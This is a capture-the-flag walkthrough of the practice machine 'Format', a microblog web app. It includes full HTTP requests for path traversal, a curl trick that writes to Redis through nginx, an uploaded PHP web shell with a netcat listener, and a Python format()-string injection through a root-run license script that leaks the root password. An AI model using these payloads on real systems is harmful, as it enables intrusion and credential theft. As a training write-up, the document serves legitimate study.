7 minute read

Synopsis

Format is a medium linux engine featuring the microblog app. where we can make our own application. but this is a vulnerability for the system, the attacker is able to carry out an LFI attack to Remote Command Execution by making the attacker a pro user on the application’s microblog. in obtaining root privileges, we can take advantage of the SUID binaries license with a vulnerability in the format() function in python. By combining a third party redis application to create a new user. With this we can become root on the box format system.

Portscan

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 c3:97:ce:83:7d:25:5d:5d:ed:b5:45:cd:f2:0b:05:4f (RSA)
|   256 b3:aa:30:35:2b:99:7d:20:fe:b6:75:88:40:a5:17:c1 (ECDSA)
|_  256 fa:b3:7d:6e:1a:bc:d1:4b:68:ed:d6:e8:97:67:27:d7 (ED25519)
80/tcp   open  http    nginx 1.18.0
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0
3000/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 3000

Port 80 is Forbidden so next move is port 3000. I prefer to clone this repository to check the source code.

find another subdomain from index.html and added into hosts file.

<!DOCTYPE html>

<html>
	<head>
		<meta http-equiv="Refresh" content="0; url='http://app.microblog.htb'" />
	</head>
	<body>
	</body>
</html>

Port 80

after add new subdomain, we able to access the pages. This time we can do register and use that creds to login.

after login we can make our apps and dont forget added domain in your hosts file too. example im gonna make apps using domain tester. And click Edit Site

on tag h1 we able to input our query, during the test i tried to check XSS vulnerability like image below.

detect path traversal vulnerabillity from edit request

POST /edit/index.php HTTP/1.1
Host: tester.microblog.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Origin: http://tester.microblog.htb
DNT: 1
Connection: close
Referer: http://tester.microblog.htb/edit/
Cookie: username=6tgaipupd3d0t9d2om0f7rfhe1
Upgrade-Insecure-Requests: 1

id=../../../../../../../../etc/passwd&header=testeer

look at the source code on edit.php file, we can upload file if using pro version for microblog application.

edit.php file contain:

function provisionProUser() {

if(isPro() === "true") {

$blogName = trim(urldecode(getBlogName()));

system("chmod +w /var/www/microblog/" . $blogName);

system("chmod +w /var/www/microblog/" . $blogName . "/edit");

system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");

system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");

system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
}
return;
}

this function has created /uploads directory if its pro user, and if you notice there is redis socket like below:

function isPro() {

if(isset($_SESSION['username'])) {

$redis = new Redis();

$redis->connect('/var/run/redis/redis.sock');

$pro = $redis->HGET($_SESSION['username'], "pro");

return strval($pro);

}

return "false";

}

from this article we can set our user to be pro user through redis socket with following command:

# HSET <key> <field> <value> 
# double encoding

curl -X HSET "http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:tester%20pro%20true%20/abc"

ignore the error response, back to burpsuite and we can upload file

POST /edit/index.php HTTP/1.1
Host: tester.microblog.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Origin: http://tester.microblog.htb
DNT: 1
Connection: close
Referer: http://tester.microblog.htb/edit/
Cookie: username=6tgaipupd3d0t9d2om0f7rfhe1
Upgrade-Insecure-Requests: 1

id=/var/www/microblog/tester/uploads/test.txt&header=rce

inject RCE and given name payload.php

POST /edit/index.php HTTP/1.1
Host: tester.microblog.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Origin: http://tester.microblog.htb
DNT: 1
Connection: close
Referer: http://tester.microblog.htb/edit/
Cookie: username=6tgaipupd3d0t9d2om0f7rfhe1
Upgrade-Insecure-Requests: 1

id=/var/www/microblog/tester/uploads/payload.php&header=<?php+system($_GET['0']);?>

catch the shell using netcat with command :

rlwrap nc -lvnp 9000

uploaded a linpeas to gather more information inside target.

linpeas.sh result:

www-data   27839  0.0  0.4 211104 17044 ?        S    Jun25   0:03  _ php-fpm: pool www
#here
redis        604  0.1  0.3  65164 15348 ?        Ssl  Jun23   7:09 /usr/bin/redis-server 127.0.0.1:0
---------------------
root         607  0.0  0.0   5844  1708 tty1     Ss+  Jun23   0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
root         614  0.0  0.0  57136  1772 ?        Ss   Jun23   0:00 nginx: master process /usr/sbin/nginx -g daemon[0m on; master_process on;
www-data     619  0.0  0.1  57548  5356 ?        S    Jun23   1:47  _ nginx: worker process
www-data     620  0.1  0.1  57704  5348 ?        S    Jun23   4:06  _ nginx: worker process

based on stackoverflow, we can connect to socket using redis-client.

redis-cli -s /run/redis/redis.sock

Redis keys commands are used for managing keys in Redis.

We can use HGETALL COMMAND based on this poc to dump all information on cooper.dooper

HGETALL cooper.dooper

from now we can logged in as cooper using ssh for stable shell.

Privilege Escalation

sudo -l will determining how to escalate into root user.

use strings command to check binary files

strings /usr/bin/license
#!/usr/bin/python3

import base64
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.fernet import Fernet
import random
import string
from datetime import date
import redis
import argparse
import os
import sys

class License():
    def __init__(self):
        chars = string.ascii_letters + string.digits + string.punctuation
        self.license = ''.join(random.choice(chars) for i in range(40))
        self.created = date.today()
if os.geteuid() != 0:
    print("")
    print("Microblog license key manager can only be run as root")
    print("")
    sys.exit()
parser = argparse.ArgumentParser(description='Microblog license key manager')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()
r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
secret = [line.strip() for line in open("/root/license/secret")][0]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))
f = Fernet(encryption_key)
l = License()
#provision
if(args.provision):
    user_profile = r.hgetall(args.provision)
    if not user_profile:
        print("")
        print("User does not exist. Please provide valid username.")
        print("")
        sys.exit()
    existing_keys = open("/root/license/keys", "r")
    all_keys = existing_keys.readlines()
    for user_key in all_keys:
        if(user_key.split(":")[0] == args.provision):
            print("")
            print("License key has already been provisioned for this user")
            print("")
            sys.exit()
    prefix = "microblog"
    username = r.hget(args.provision, "username").decode()
    firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
    license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
    print("")
    print("Plaintext license key:")
    print("------------------------------------------------------")
    print(license_key)
    print("")
    license_key_encoded = license_key.encode()
    license_key_encrypted = f.encrypt(license_key_encoded)
    print("Encrypted license key (distribute to customer):")
    print("------------------------------------------------------")
    print(license_key_encrypted.decode())
    print("")
    with open("/root/license/keys", "a") as license_keys_file:
        license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")
#deprovision
if(args.deprovision):
    print("")
    print("License key deprovisioning coming soon")
    print("")
    sys.exit()
#check
if(args.check):
    print("")
    try:
        license_key_decrypted = f.decrypt(args.check.encode())
        print("License key valid! Decrypted value:")
        print("------------------------------------------------------")
        print(license_key_decrypted.decode())
    except:
        print("License key invalid")
    print("")

i assume there is something that vulnerable function format() like name for the box. Googling about that and lead me into this article and this article

vulnerability code example:

SECRET_VALUE = "passwd123"
class DirData:
    def __init__(self):
        self.name = "Work"
        self.noOfFiles = 42
print("Directory {dirInfo.name} contains {dirInfo.noOfFiles} files".
    format(dirInfo=DirData()))

how to exfiltrate the secret_value:

print("The secret is {dirInfo.__init__.__globals__[SECRET_VALUE]}".
    format(dirInfo=DirData()))

try run license with tag -p which is username

cooper@format:/dev/shm$ sudo /usr/bin/license -p cooper

User does not exist. Please provide valid username.

output: username doesnt exist, it is possible to use redis again to extract a secret_encoded. we can use HMSET command to Sets the specified fields to their respective values in the hash stored at key.

Execute command below will get the password root user

HMSET bunnys first-name "{license.__init__.__globals__[secret_encoded]}" last-name bunnys username bunnys

then run again /usr/bin/licens -p bunnys

get the password, and switch into root user using su command

unCR4ckaBL3Pa$$w0rd

Refferencess

https://redis.io/commands/hset/
https://www.invicti.com/blog/web-security/format-string-vulnerabilities/
https://redis.io/commands/keys/
https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis
https://exploit-notes.hdks.org/exploit/database/redis-pentesting/